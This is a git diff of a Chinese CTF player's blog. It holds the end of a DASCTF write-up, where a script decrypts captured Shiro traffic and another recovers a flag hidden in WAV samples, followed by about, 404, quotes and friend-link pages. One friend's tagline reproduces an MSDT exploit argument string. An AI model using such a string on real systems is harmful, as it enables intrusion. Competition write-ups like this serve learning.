h1hwRa7Nfj8YOXLvdCcGjRHauYb25k+2JPXtySgg5CIhl2fYDTwTM2Ttw8fsyDBMtqBGwwON8YS8BnevlV2Uqr1i3tno3B+k9RyQrE8eiwqLyJ09D8SGuy7RE6OMIrZWW/mA08tv+8V3ccNhnYRhjVxLmVRF+1FR55/AQ0CeJwPvbhkQydYRfRiRUU2WriQWXG8jLiT6KhSeVt2qXOTZnaAIyu7rN6fl04O2yVYY4o53/t4w1q8dMbhMHtUiuIJCkz8q+N50942sukYLoQVI5LJuunZHn3hyn1wsE5+7JvHL+QoPTxRBUxIepZy/XdMSBd3IsoPBdieUqavq6dGM4Hc9Fu6MFq9qY0vJEtwix6Y2uf/NGSDAGn9Z2N+dBPUcxzrynA0V6nLXJSBxr2dY/GUCrcFcCJqLS+paX0mb/tDcJwMhlPMBwPZ30ak2YiJJNr7/exwxHPNRQQaifzNCd04oL0i+YaXKMgMEcaLtSW0VXHeGy5CjJ+JdLjvel9oruQUYAcPbxTNYcEDHoe0GVQlYmls96MIzzmOzKdCD1MkC10i13W5OlgGUOdnFDXg7fDZ5NFf2xAL6akDsIZqDlRzPbw0X2gjcLqxegC5fvxVenZtYDQhuXysOpYSwDw9213IQZ0pVS2QyY/FhAEIihqTkwbQsSUBuiwDNWIC1pHYzravpv113X2E5ZDMAwUIOpqFY2oP2eRHhfe8wPYP3UvpsxP2UFbVGhe7L6DIjlOtLP6i9vCgkcHHT+/08ZUEkPDn/t2bR6ErTBizXiIdd/1ckYVQh0QPtRGQrPPgxtqHmf2OqVUhIz6Og4WpCv1DGaMlocm/ES1F+A6LKhiaEVOktsAdl0Rjt/EXOX6TSAEIGt6y+p4g4/fzcY2efjZw5ai20qWGjfLbRJy8Ns6drxCU4VwVLXuJp1VhtTSvyEKWSPq1zIuIX8EoE2fOVtyeQq1xZctUeKx3vcA084UE6YslsCjV2eTGEgwKKrmuzYDX6E47ns8oiDFbU8QExV8LfQ3jDvpSMGlAQEQoFr5iyM96KLIf7zeMt3CQ5vtkxlbKnmaDPXflZH1DCO/4+o55WSM0Y3G1eF4lhxljG/FELd60521dAM0OQ78I6I48tdNfjRX1qWsZ+qv+G6aK/qxpOrG2CkPY2nfDCIKcsUDvo1XrqqYvDt/JkRs7Y7xBN8K9PMDxd1BmM6+jAngrc+MrZUBgq1m60Sx1k+dQb8ITsSzh/rEMBWlRvi3FL+8mZNsZHsmN8y7yIkU9OOnH30Ew1rPPfC1s/VaSw4X4lDX0ua0M2yEXzRQXVivZ/aOaioypAn6UDoQDEMUPJ5AGX/N8xHhVGv0A3ZZNcX79SwNQyzJ/o6EQxRwZkJduUAqO' + +print(decrypt(base64.b64decode(data), d).hex()) +``` + +输出为十六进制再放进 CyberChef 比较好看。 + +![](../../wp/yangcheng-2024/shiro-flag.png) + +🚩 `DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}` + +# Misc - hiden + +随波逐流发现 ROT47 后与 Python 代码相似,再 ROT13 得到 + +```python +import wave + +with open('flag.txt', 'rb') as f: + txt_data = f.read() + file_len = len(txt_data) + txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data + +with wave.open("test.wav", "rb") as f: + attrib = f.getparams() + wav_data = bytearray( f.readframes(-1) ) + +for index in range(len(txt_data)): + wav_data[index * 4] = txt_data[index] + +with wave.open("hiden.wav", "wb") as f: + f.setparams(attrib) + f.writeframes(wav_data) +``` + +据此读出数据 + +```python +import wave + +with wave.open("hiden.wav", "rb") as f: + attrib = f.getparams() + wav_data = f.readframes(-1) + +txt_data = [] +for index in range(0, 400, 4): + txt_data.append(wav_data[index]) + +print(bytes(txt_data)) +# b'K\x00\x00ok\xef\xbc\x8cnow you find me,so the flag give you\r\n\r\n\r\nDASCTF{12jkl-456m78-90n1234}\x02\xff\xff\xc0\xff\xffl\xff\xffC\xff\xff4\xff\xffx\xff\xff\xa9\xff\xff\xb6' + +``` + +拿到 flag 了,顺带一提,WAV 存的是未压缩的每个采样点的原始数据,也没有数据校验,具体可以看 [BaseCTF Week1 官方 Writeup](https://j0zr0js7k7j.feishu.cn/docx/U2dVdIOTCoLrp9xaYCrcEEbkndh) 中我的“捂住X只耳”题目 Writeup + +> mp3 是压缩了的音频格式,而 pcm(脉冲编码调制)则是没有被压缩的、记录每一个采样点音量的格式,它没有文件头、从第一个字节开始就是第一个采样点的数据。所以 pcm 不知道采样率(每秒多少个采样点),不知道声道数量,不知道位宽(0%-100%对应于0000-1111,还是对应于00000000-11111111,还是……),不知道字节序(大端序/小端序)。对于双声道,它的存储方式是左声道一个采样点,然后右声道一个采样点,然后左声道一个采样点,以此反复。wav 就是在 pcm 前面加一个文件头,保存这些信息,后面就是和 pcm 完全一样的。 + +所以这题实际上是这样存的: + +![](../../wp/yangcheng-2024/wav-binary.png) + +🚩 `DASCTF{12jkl-456m78-90n1234}` diff --git a/source/res/AndyNoel.png b/source/res/AndyNoel.png new file mode 100644 index 0000000..e1da538 Binary files /dev/null and b/source/res/AndyNoel.png differ diff --git a/source/res/CDM258.jpg b/source/res/CDM258.jpg new file mode 100644 index 0000000..7a6ba41 Binary files /dev/null and b/source/res/CDM258.jpg differ diff --git a/source/res/a39.jpg b/source/res/a39.jpg new file mode 100644 index 0000000..18916fc Binary files /dev/null and b/source/res/a39.jpg differ diff --git a/source/res/gr1m.png b/source/res/gr1m.png new file mode 100644 index 0000000..34ce43c Binary files /dev/null and b/source/res/gr1m.png differ diff --git a/source/res/hacbit.png b/source/res/hacbit.png new file mode 100644 index 0000000..320ddb4 Binary files /dev/null and b/source/res/hacbit.png differ diff --git a/source/res/lingxian.jpg b/source/res/lingxian.jpg new file mode 100644 index 0000000..12e5a35 Binary files /dev/null and b/source/res/lingxian.jpg differ diff --git a/source/res/mz1.jpeg b/source/res/mz1.jpeg new file mode 100644 index 0000000..fbbe53f Binary files /dev/null and b/source/res/mz1.jpeg differ diff --git a/source/res/tokisakix.jpg b/source/res/tokisakix.jpg new file mode 100644 index 0000000..2895b96 Binary files /dev/null and b/source/res/tokisakix.jpg differ diff --git a/source/res/w3nl0u.jpg b/source/res/w3nl0u.jpg new file mode 100644 index 0000000..c097875 Binary files /dev/null and b/source/res/w3nl0u.jpg differ diff --git a/source/special/404.md b/source/special/404.md new file mode 100644 index 0000000..0cb2427 --- /dev/null +++ b/source/special/404.md @@ -0,0 +1,14 @@ +--- +title: 我是谁?我在哪? +date: 2024/03/21 20:00:00 +updated: 2024/03/21 20:00:00 +permalink: 404/ +copyright: false +--- + +```assembly +cmp eax, 404 +jz home +``` + +![IP签名](https://tool.lu/netcard/) diff --git a/source/special/about.md b/source/special/about.md new file mode 100644 index 0000000..383aa0e --- /dev/null +++ b/source/special/about.md @@ -0,0 +1,28 @@ +--- +title: 关于 +date: 2024/03/11 21:00:00 +updated: 2025/02/18 22:00:00 +permalink: about/ +copyright: true +--- + +- LilRan AKA 新实([xinshi.fun](https://xinshi.fun/)) +- 二十岁,是学生 +- 只学技术,不卷绩点 + +- CTF退役Misc/Reverse手,不是“网安人” +- S1uM4i团队成员,W4terDr0p团队成员 +- Hack for knowledge and fun + +- 喜欢Python、Rust、Moonbit、C#.NET、C++ +- 梦想是做全栈开发者! + +- IDE只用浅色主题,喜欢VS Code而不喜欢Vim +- 无缘程序设计竞赛 + +- 不测MBTI(一个活生生的人怎么可能被hash成4个字母嘛) +- 不玩游戏 +- 特立独行 + +- 新实=守正创新 求真务实 +- 不负一身蓝白 diff --git a/source/special/link.md b/source/special/link.md new file mode 100644 index 0000000..2b52ee1 --- /dev/null +++ b/source/special/link.md @@ -0,0 +1,748 @@ +--- +title: Hacked By {} +date: 2024/03/11 22:00:00 +updated: 2025/03/18 00:00:00 +permalink: link/ +copyright: false +--- + +欢迎联系站长,在此页面添加友链✅ + +# 我的友链信息 + +**名称**: LilRan +**地址**: https://blog.xinshi.fun/ +**头像**: https://blog.xinshi.fun/assets/avatar.png +**描述**: 今日启程 无畏向前 + +# [Ciallo\[R3CTF\]](https://blog.xinshi.fun/wp/r3ctf-2024-leannum/#%E5%85%B3%E4%BA%8E%E7%BB%84%E8%BF%99%E4%B8%AA%E9%98%9F%E7%9A%84%E7%A2%8E%E7%A2%8E%E5%BF%B5) 或 [BaseCTF](https://www.basectf.fun/) 筹备组 + +{% links %} + +- site: Kengwang + url: https://blog.kengwang.com.cn/ + desc: Stay Cool~ + image: https://gcore.jsdelivr.net/gh/kengwang/CDN@main/avatar.png + color: "#FF0000" + +- site: Luoingly + url: https://luoingly.top/ + desc: 交错于虚拟与现实之间 + image: https://luoingly.top/image/avatar.jpg + color: "#593B3D" + +- site: yuro + url: https://blog.yuro.work/ + desc: Yuro's home + image: https://blog.yuro.work/images/avatar.png + color: "#f250f2" + +- site: crazyman_army + url: https://crazymanarmy.github.io/ + desc: 空白! + image: https://s2.loli.net/2023/01/27/XA2Yr7TuwcNWhOp.jpg + color: "#513841" + +- site: N1ght + url: https://yezere.github.io/ + desc: N1ght + image: https://yezere.github.io/images/tx.jpg + color: "" + +- site: DELETE + url: https://ml-hacker.github.io/ + desc: 人生何处不青山 + image: https://ml-hacker.github.io/images/1.jpg + color: "" + +- site: 薄雾初零 + url: https://bowuchuling.github.io/ + desc: Future is now + image: https://bowuchuling.github.io/background/touxiang.jpeg + color: "#71D3EC" + +- site: 晨曦 + url: https://chenxi9981.github.io/ + desc: 晨曦 + image: https://q.qlogo.cn/headimg_dl?dst_uin=1729027578&spec=640&img_type=jpg + color: "#24ACF2" + +- site: 柿子 + url: https://y7syeu.github.io/ + desc: Never really desperate, only the lost of the soul + image: https://y7syeu.github.io/images/avatar.jpg + color: "#F03A17" + +- site: sudopacman + url: https://cryingn.github.io/ + desc: 早安, 晚安, 谢谢, 再见. + image: https://cryingn.github.io/images/profile.jpg + color: "" + +- site: Naby + url: https://naby1.github.io/ + desc: Yes or Right, 希望大家在生活中只会得到正确的答案. + image: https://naby1.github.io/imgs/me.jpg + color: "" + +- site: CDM258 + url: http://www.cdm258.tech/ + desc: Jwq,很好看的颜文字 + image: https://blog.xinshi.fun/res/CDM258.jpg + color: "#00A389" + +- site: cheny + url: https://www.cnblogs.com/viol1t-cheny + desc: cheny + image: https://q.qlogo.cn/headimg_dl?dst_uin=2450743303&spec=640&img_type=gif + color: "" + +- site: BediveRe + url: https://www.cnblogs.com/BediveRe + desc: BediveRe + image: https://q.qlogo.cn/headimg_dl?dst_uin=1500371618&spec=640&img_type=jpg + color: "" + +- site: 晓梦ovo + url: https://noobxiaomeng.top/ + desc: 庄生晓梦迷蝴蝶,望帝春心托杜鹃 + image: https://s2.loli.net/2024/04/27/mnlLX73wUdAYEh5.jpg + color: "#EBE8A1" + +- site: 泠鹇 + url: http://www.miaoaixuan.cn/ + desc: 泠鹇的往世乐土 + image: https://blog.xinshi.fun/res/lingxian.jpg + color: "#EDA0B2" + +- site: Shin + url: https://shinichicun.top/ + desc: Shin + image: https://ooo.0x0.ooo/2023/12/20/OKzC7r.jpg + color: "#63B3FF" + +- site: nyyyddddn + url: https://nyyyddddn.github.io/ + desc: 快来和我贴贴qaq + image: https://nyyyddddn.github.io/avatar/11.jpg + color: "" + +- site: t1d + url: https://he.tld1027.com/ + desc: t1d + image: https://he.tld1027.com/wp-content/uploads/2022/08/80a02b088f18669d312a37.jpeg + color: "" + +- site: gets + url: http://www.getspwn.xyz/ + desc: gets + image: https://gets-pwn.oss-cn-hangzhou.aliyuncs.com/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20240612154128.jpg + color: "" + +- site: k0rian + url: https://k0rian.github.io/ + desc: 所望皆如愿 未来皆可期 + image: https://k0rian.github.io/img/favicon.jpg + color: "" + +- site: W3nL0u + url: https://xyy9233.github.io/ + desc: 未若柳絮因风起 + image: https://blog.xinshi.fun/res/w3nl0u.jpg + color: "" + +- site: unknown + url: https://unk.org.cn/ + desc: memories matter + image: https://avatars.githubusercontent.com/u/112916014?v=4 + color: "" + +- site: Polestar + url: http://www.ehpolestar.com/ + desc: 北极仙翁的夜间茶馆 + image: https://q.qlogo.cn/headimg_dl?dst_uin=1973450284&spec=640&img_type=jpg + color: "#6E4EAE" + +- site: lazy_forever + url: https://blog.lazyforever.top/ + desc: 不要和我比懒,我懒得和你比。 + image: https://blog.lazyforever.top/img/favicon.png + color: "" + +- site: 清酒 + url: http://clearwine.online/ + desc: 清酒 + image: https://q.qlogo.cn/headimg_dl?dst_uin=2066045898&spec=640&img_type=jpg + color: "#2BBC8A" + +- site: Z3r4y + url: https://z3r4y.blog.csdn.net/ + desc: Z3r4y + image: https://q.qlogo.cn/headimg_dl?dst_uin=2113566520&spec=640&img_type=jpg + color: "" + +- site: caterpie + url: https://www.caterpie771.cn/ + desc: 柳生芽星 + image: https://q2.qlogo.cn/headimg_dl?dst_uin=1915036350&spec=640 + color: "" + +- site: Triode + url: https://triodelzx.github.io/ + desc: Triode + image: https://triodelzx.github.io/favicon.ico + color: "" + +- site: Gr%1m + url: https://blog.enxm.top/ + desc: 妄图全栈的密码狗小明 + image: https://blog.xinshi.fun/res/gr1m.png + color: "" + +- site: Crypto0 + url: https://averbeih.github.io/ + desc: Crypto0 + image: https://averbeih.github.io/img/head.jpg + color: "#FCCD4C" + +- site: 妄寻鱼 + url: https://blog.csdn.net/wangxunyu6 + desc: 妄寻鱼 + image: https://q.qlogo.cn/headimg_dl?dst_uin=2167843942&spec=640&img_type=jpg + color: "" + +{% endlinks %} + +# 二进制探索者 + +{% links %} + +- site: c4f3b4b3 + url: https://blog.hxzzz.asia/ + desc: 0xcafebabe的bl0g + image: https://blog.hxzzz.asia/usr/uploads/2024/05/1717631110.jpg + color: "#874D37" + +- site: l4n + url: https://www.lancerorz.top/ + desc: l4n + image: https://q.qlogo.cn/headimg_dl?dst_uin=862757556&spec=640&img_type=jpg + color: "" + +- site: 墨水 + url: https://www.moshui.eu.org/ + desc: 所爱隔山海,山海皆可平 + image: https://www.moshui.eu.org/images/avatar.ico + color: "" + +- site: Csome + url: https://blog.csome.cc/ + desc: 会音乐会算法CTF全栈手 + image: https://blog.csome.cc/images/Csome.webp + color: "#A4BCC4" + +- site: JANlittle + url: https://janlittle.github.io/ + desc: JANlittle的随笔记 + image: https://janlittle.github.io/images/misc/avatar.jpg + color: "" + +- site: FallW1nd + url: https://wm-ctf-team.feishu.cn/wiki/DWiNwQgyPiGFMSkLIjHctDgPnRg + desc: 丢掉幻想,准备斗争 + image: https://q.qlogo.cn/headimg_dl?dst_uin=563954931&spec=640&img_type=jpg + color: "" + +- site: s1nk + url: https://blog.gaoyucan.site/ + desc: 至博而约于精,深思而敏于行 + image: https://q.qlogo.cn/headimg_dl?dst_uin=468766131&spec=640&img_type=jpg + color: "" + +- site: hed10ne + url: https://www.cnblogs.com/hed10ne + desc: ms-msdt:/id Donotaccess /skip force /param + image: https://q.qlogo.cn/headimg_dl?dst_uin=1021229073&spec=640&img_type=jpg + color: "#C58C67" + +- site: P.Z + url: https://ppppz.net/ + desc: 一个喜欢分享的咕咕RE人 + image: https://q.qlogo.cn/headimg_dl?dst_uin=2230479486&spec=640&img_type=jpg + color: "#DC5DD7" + +- site: Mas0n + url: https://mas0n.org/ + desc: 翻车鱼 - 观化游无垠 + image: https://cdn.shi1011.cn/2021/03/a2646b0339c3e17639d492873a4c0638.jpg + color: "#2A4A84" + +- site: xia0o0o0o + url: https://kpwnz.github.io/ + desc: We shall meet in the place where there is no darkness. + image: https://avatars.githubusercontent.com/u/22996989?s=400&u=470b81ce0dd0fd2e15880f564e1bef0ba9655225&v=4 + color: "#877E91" + +- site: xia0ji233 + url: https://xia0ji233.pro/ + desc: 学习应该像呼吸一样自然 + image: https://xia0ji233.pro/img/avatar.png + color: "#86BEFA" + +- site: Xman + url: https://xiananren.github.io/ + desc: 逆向-安卓-漏洞-车万。擅长吃饭。 + image: https://pic.imgdb.cn/item/63f38a68f144a010071d33b2.jpg + color: "#154312" + +- site: c10udlnk + url: https://c10udlnk.top/ + desc: A RE CTFer, a s0Ity f1sh... <。)#)))≦ + image: https://c10udlnk.top/c10udlnk=v=.jpg + color: "#373F7F" + +- site: hacbit + url: http://hacbit.tech/ + desc: 椰奶椰奶椰 + image: https://blog.xinshi.fun/res/hacbit.png + color: "#BCDAF4" + +- site: yixinBC + url: https://blog.buyix.in/ + desc: always learning + image: https://avatars.githubusercontent.com/u/61578883?v=4 + color: "" + +- site: TokameinE + url: https://tokameine.top/ + desc: 大脑正不受控制地拒绝着访问! + image: https://gcore.jsdelivr.net/gh/ErodedElk/blogPic/img/241972_1iMJPN7x.png + color: "" + +- site: Shino + url: https://www.sh1no.icu/ + desc: $ sudo echo Shino >> YourHeart + image: https://www.sh1no.icu/avr.png + color: "#FBCBD9" + +- site: Qanux + url: https://qanux.github.io/ + desc: I won't pwn. + image: https://qanux.github.io/img/favicon.jpg + color: "#0B3460" + +- site: 幽林 + url: https://blogyoulin.top/ + desc: 幽林 + image: https://blogyoulin.top/img/youlin.jpg + color: "" + +- site: P1sc3s007 + url: https://blog.csdn.net/Pisces50002 + desc: 加固难越,谁悲无旗之人。萍水相逢,尽是他乡之shell。 + image: https://avatars.githubusercontent.com/u/114841520?v=4 + color: "" + +- site: Mz1 + url: https://www.cnblogs.com/Mz1-rc + desc: 心有猛虎,细嗅蔷薇。 + image: https://blog.xinshi.fun/res/mz1.jpeg + color: "" + +- site: H1m + url: https://blog.csdn.net/weixin_73270563 + desc: H1m + image: https://q.qlogo.cn/headimg_dl?dst_uin=3078103411&spec=640&img_type=jpg + color: "" + +- site: upsw1ng + url: https://blog.csdn.net/m0_74154467 + desc: 逆向大师! + image: https://q1.qlogo.cn/g?b=qq&nk=942612502&s=640 + color: "#FC5531" + +- site: xswlhhh + url: https://www.yuque.com/xswlhhh + desc: 纸上学来终觉浅,绝知此事要躬行。 + image: https://q.qlogo.cn/headimg_dl?dst_uin=2991796382&spec=640&img_type=jpg + color: "" + +- site: WAHAHA + url: https://gngtwhh.github.io/ + desc: 一个爱折腾的蒟蒻 + image: https://gngtwhh.github.io/img/avatar.jpg + color: "" + +- site: C_LBY + url: https://c-lby.top/ + desc: 我们联合,形成两面包夹芝士! + image: https://q.qlogo.cn/headimg_dl?dst_uin=3138622727&spec=640&img_type=jpg + color: "" + +- site: yring + url: https://yring-me.com/ + desc: 冥冥之中 自有天意 + image: https://yring-me.oss-cn-beijing.aliyuncs.com/test/202305221933187.jpeg + color: "#3A476A" + +- site: ta0lve + url: https://ta0lve.github.io/ + desc: hack4fun and only for fun. + image: https://q.qlogo.cn/headimg_dl?dst_uin=2914822115&spec=640&img_type=jpg + color: "#8B699B" + +- site: D3v3n + url: https://d3v3nlxk.github.io/ + desc: 须知少时凌云志,曾许人间第一流 + image: https://devenlxk.oss-cn-shenzhen.aliyuncs.com/img/202404111123719.jpg + color: "" + +- site: StarrySky + url: https://starrysky1004.github.io/ + desc: 梦想成为黑客的甜酷女孩 + image: https://starrysky1004.github.io/medias/avatar.jpg + color: "#A35264" + +- site: SWDD + url: https://shangwendada.top/ + desc: Shangwendada + image: https://shangwendada.top/wp-content/uploads/2022/11/3-1-scaled.jpg + color: "" + +{% endlinks %} + +# W4terDr0p 或 S1uM4i + +{% links %} + +- site: S1uM4i + url: https://blog.s1um4i.com/ + desc: 三点几嘞,饮茶先 + image: https://www.s1um4i.com/images/logo.webp + color: "#EBC02E" + +- _site: GZTime + _url: https://blog.gzti.me/ + _desc: Walking on the Time Axis. + _image: https://cdn.gzti.me/avatar/GZTime_2021.png + _color: "#3887FF" + +- site: Tel + url: https://l1nyz-tel.cc/ + desc: 做世界的水手,奔赴所有港口~~ + image: https://q1.qlogo.cn/g?b=qq&nk=1937126974&s=640 + color: "#014171" + +- site: Monad + url: https://blog.monadx.com/ + desc: Ad Astra per Aspera. + image: https://avatars.githubusercontent.com/u/20324409?v=4 + color: "#1BA1E2" + +- site: Frank + url: https://ghostfrankwu.github.io/ + desc: Senior UG @SUSTC | 不是做题家 + image: https://ghostfrankwu.github.io/img/akko.jpg + color: "" + +- site: ZhengTai + url: https://blog.hz2016.com/ + desc: Web手 开发者 SZU会长 + image: https://i0.wp.com/blog.hz2016.com/wp-content/uploads/2022/03/cropped-HydrogenE7-n.png?w=248&ssl=1 + color: "#55C3DC" + +- site: Weyung + url: https://blog.weyung.cc/ + desc: 写一些和我一样菜也能看懂的文章 + image: https://blog.weyung.cc/images/wy.png + color: "#541C63" + +- site: 春哥 + url: https://zm-j.github.io/ + desc: 信春哥者得永生。 + image: https://zm-j.github.io/img/avatar.jpg + color: "#009688" + +- site: 南溟NaN + url: https://southsea.st/ + desc: 自然选择号,前进四 + image: https://avatars.githubusercontent.com/u/34373144?v=4 + color: "#54456C" + +- site: Pazuris + url: https://pazuris.cn/ + desc: Fear neither hardship nor darkness | 不畏苦暗 + image: https://pazuris-image.oss-cn-shenzhen.aliyuncs.com/%E7%B5%B5%E5%90%8D1.png + color: "#68C8BE" + +- site: 214 + url: https://www.214polaris.top/ + desc: 隐私计算,软件安全,Web 安全,网络攻防 + image: https://www.214polaris.top/img/avatar.jpg + color: "#FF99CC" + +- site: a39 + url: http://www.asuka39.top/ + desc: 歩いても、歩いても + image: https://blog.xinshi.fun/res/a39.jpg + color: "#987F99" + +- site: R1ck + url: https://rickliu.com/ + desc: 硬件黑客、人工智能开发爱好者 + image: https://r1ck-blog.oss-cn-shenzhen.aliyuncs.com/avatar.jpg + color: "#DB7694" + +- site: CH0ico + url: https://ch0ico.fun/ + desc: 你想要的答案不在群体中 + image: https://ch0ico.github.io/img/head.jpg + color: "#4C4442" + +- site: Lst4r + url: https://lst4r-max.github.io/ + desc: 星辰是暗夜努力发光的奇迹 + image: https://lst4r-max.github.io/img/1.jpg + color: "#023554" + +- site: Tover + url: https://tover.xyz/ + desc: Know nothing about Crypto. + image: https://tover.xyz/img/avatar.jpg + color: "#1455E6" + +{% endlinks %} + +# CTFer + +{% links %} + +- site: Reverier_Xu + url: https://blog.woooo.tech/ + desc: 希望写点有趣东西的理想主义者 + image: https://blog.woooo.tech/img/avatar.png + color: "#2D9BF5" + +- site: 陈橘墨 + url: https://www.randark.site/ + desc: Why So Serious + image: https://q.qlogo.cn/headimg_dl?dst_uin=2474345180&spec=640&img_type=jpg + color: "" + +- site: zysgmzb + url: https://zysgmzb.club/ + desc: 字母神 + image: https://q2.qlogo.cn/headimg_dl?dst_uin=1633422641&spec=100 + color: "#ADB5E7" + +- site: shenghuo2 + url: https://blog.shenghuo2.top/ + desc: 生蚝王 + image: https://blog.shenghuo2.top/images/avatar.png + color: "#486DE7" + +- site: Y0ung + url: https://y0ungs.github.io/ + desc: Y爹 + image: https://y0ungs.github.io/img/avatar.jpg + color: "" + +- site: Z3n1th + url: https://z3n1th1.com/ + desc: 🦋🌙 + image: https://z3n1th1.com/images/avatar.jpg + color: "" + +- site: JasmineAura + url: https://jasmineaura.github.io/ + desc: 只是时间问题 + image: https://cdn.luogu.com.cn/upload/image_hosting/yv775di2.png + color: "#24B24D" + +- site: C3ngH + url: https://c3ngh.top/ + desc: 广告位招租 + image: https://c3ngh-blog.oss-cn-hangzhou.aliyuncs.com/img/C3ngH.jpg + color: "" + +- site: SfTian + url: https://blog.imxbt.cn/ + desc: SfTian + image: https://q.qlogo.cn/headimg_dl?dst_uin=2212082263&spec=640&img_type=jpg + color: "#E7991B" + +- site: W1ndysの小屋 + url: https://blog.w1ndys.top/ + desc: 欲戴皇冠,必承其重 + image: https://avatars.githubusercontent.com/u/109416673?v=4 + color: "#49B1F5" + +- site: AndyNoel + url: http://www.andynoel.xyz/ + desc: 知其黑,守其白,为天下式。 + image: https://blog.xinshi.fun/res/AndyNoel.png + color: "" + +- site: Boogipop + url: https://boogipop.com/ + desc: Are you still in pain? + image: https://q.qlogo.cn/headimg_dl?dst_uin=2292797302&spec=640&img_type=jpg + color: "" + +- site: jht3 + url: https://jht3qaq.github.io/ + desc: 海阔天空jht3 + image: https://jht3qaq.github.io/images/70e16d9eb5a85bcc.jpg + color: "#388CDC" + +- site: Hurk1n + url: https://www.hurkin.top/ + desc: 会一步步变好 + image: https://www.hurkin.top/wp-admin/images/hand.jpg + color: "#EE9CA7" + +- site: Dr34m + url: https://dr34m.club/ + desc: Dr34m + image: https://dr34nn.github.io/images/avatar.jpg + color: "" + +- site: 狗and猫 + url: https://fushuling.com/ + desc: web/misc@SU + image: https://fushuling-1309926051.cos.ap-shanghai.myqcloud.com/avatar.jpg + color: "#556AE3" + +- site: Nano + url: https://nano.ac/ + desc: 清华最强大脑 + image: https://nano.ac/images/avatar.png + color: "#37A2B6" + +- site: TonyCrane + url: https://blog.tonycrane.cc/ + desc: 鹤翔万里 ZJUer AAAer + image: https://gcore.jsdelivr.net/gh/tonycrane/tonycrane.github.io/tonycrane.png + color: "" + +- site: toto + url: https://blog.csdn.net/jyttttttt + desc: toto + image: https://q.qlogo.cn/headimg_dl?dst_uin=2282679004&spec=640&img_type=jpg + color: "" + +- site: 余 + url: https://x1a0yu.fun/ + desc: 余 + image: https://q2.qlogo.cn/headimg_dl?dst_uin=212360385&spec=100 + color: "#697781" + +- site: 探姬 + url: https://probiusofficial.github.io/ + desc: I build, therefore I am. HelloCTF项目负责人 + image: https://q1.qlogo.cn/g?b=qq&nk=2293808331&s=640 + color: "#FDD331" + +- site: qsdz + url: https://hasegawaazusa.github.io/ + desc: Long may the sun shine! + image: https://hasegawaazusa.github.io/images/android-chrome-144x144.png + color: "#81463F" + +- _site: Deebato + _url: https://d33b4t0.com/ + _desc: Life is a struggle, but you can fight against it! + _image: https://q.qlogo.cn/headimg_dl?dst_uin=2546664446&spec=640&img_type=jpg + _color: "#F8746F" + +- site: Van1sh + url: https://jayxv.github.io/ + desc: Van1sh + image: https://jayxv.github.io/img/avatar.jpg + color: "#562618" + +- site: 糖醋小鸡块 + url: https://tangcuxiaojikuai.xyz/ + desc: 追风赶月莫停留,平芜尽处是春山 + image: https://tangcuxiaojikuai.xyz/images/image.png + color: "#ECC66B" + +- site: guoql + url: https://blog.csdn.net/qq_42557115 + desc: guoql + image: https://q.qlogo.cn/headimg_dl?dst_uin=1335966627&spec=640&img_type=jpg + color: "" + +- site: zerorzeror + url: https://blog.csdn.net/zerorzeror + desc: 烛影摇红 + image: https://q.qlogo.cn/headimg_dl?dst_uin=22816006&spec=640&img_type=jpg + color: "" + +- site: 0raN9e + url: https://0ran9ewww.github.io/ + desc: 橙子 + image: https://0ran9ewww.github.io/img/a.jpg + color: "orange" + +- site: G3rling + url: https://g3rling.top/ + desc: 少说话,多做事 + image: https://g3rling.top/wp-content/uploads/2024/03/头像.jpg + color: "" + +- site: baozongwi + url: https://baozongwi.xyz/ + desc: 每天进步一点点 + image: https://baozongwi.xyz/images/acvtar.jpg + color: "" + +- site: Mia + url: https://blog.miamia.top/ + desc: 无论如何,感谢经历。 + image: https://miablog.oss-cn-nanjing.aliyuncs.com/img/Mia.png + color: "" + +- _site: Liu + _url: https://www.ctfrookie.top/ + _desc: Liu + _image: https://www.ctfrookie.top/img/Liu.png + _color: "" + +- _site: Kicky_Mu + _url: https://www.cnblogs.com/xiaoqi-ctf + _desc: 相信奇迹的人,本身就和奇迹一样了不起! + _image: https://q.qlogo.cn/headimg_dl?dst_uin=1461910431&spec=640&img_type=jpg + _color: "#E798AE" + +{% endlinks %} + +# 互联网与开源技术协会 + +{% links %} + +- site: SYSU-MSC + url: https://www.sysumsc.cn/ + desc: 中山大学互联网与开源技术协会 + image: https://www.sysumsc.cn/msc.ico + color: "#0099FF" + +- site: Tokisakix + url: http://tokisakix.cn/ + desc: Everybody want to rule the world + image: https://blog.xinshi.fun/res/tokisakix.jpg + color: "" + +- site: xy3 + url: https://blog.skyw.cc/ + desc: 在知识的海洋里遨游 + image: https://q4.qlogo.cn/headimg_dl?dst_uin=120182408&spec=100 + color: "" + +- site: YeScallop + url: https://yescallop.cn/ + desc: YeScallop + image: https://yescallop.cn/img/avatar.svg + color: "" + +{% endlinks %} diff --git a/source/special/sentence.md b/source/special/sentence.md new file mode 100644 index 0000000..d6734dc --- /dev/null +++ b/source/special/sentence.md @@ -0,0 +1,27 @@ +--- +title: 一句话 +date: 2024/03/11 21:40:00 +updated: 2024/11/05 16:53:00 +permalink: sentence/ +copyright: false +--- + +1. 天下熙熙,皆为利来;天下攘攘,皆为利往。 +2. 忘记远大理想而只顾眼前,就会失去前进方向,离开现实工作而空谈远大理想,就会脱离实际。 +3. 菜就多练。 +4. 逆流而行。 +5. 世界就是一个巨大的精神病院。 +6. 代码是写给人看的,只是恰好能被机器执行。 +7. 在计算机里头没有任何黑魔法。所有的东西,只不过是我现在不知道而已,总有一天,我会把所有的细节、所有的内部的东西全都搞明白了。 +8. 一起去啊!更远的地方。 +9. 道阻且长,行则将至。 +10. 今日启程,无畏向前。 +11. 仰望星空,脚踏实地。 +12. 在你的时区里,一切都准时。 +13. 当初他们说你撞了南墙就会回头,那你现在是否已经拆了那堵墙。 +14. 你只活一次。 +15. 一切都是最好的安排。 +16. 认真了你就输了。 +17. 要是你面前有一片阴影,也许只是因为你背后有阳光。 +18. 要么天赋异禀,要么天道酬勤。 +19. 虎狼总独行,牛羊才成群。 diff --git a/source/special/sse316.md b/source/special/sse316.md new file mode 100644 index 0000000..0b3d9d8 --- /dev/null +++ b/source/special/sse316.md @@ -0,0 +1,11 @@ +--- +title: SYSU-SSE +date: 2025/02/25 20:00:00 +updated: 2025/02/25 20:00:00 +permalink: sse316/ +copyright: true +--- + +👋 你好呀,欢迎来到 LilRan (Lei Shunran) 的博客。 + +[👉 去首页看看](https://blog.xinshi.fun/) diff --git a/source/wp/nepctf-2023/1369938a-4f46-4334-bc61-a7dbc5c5a309.webp 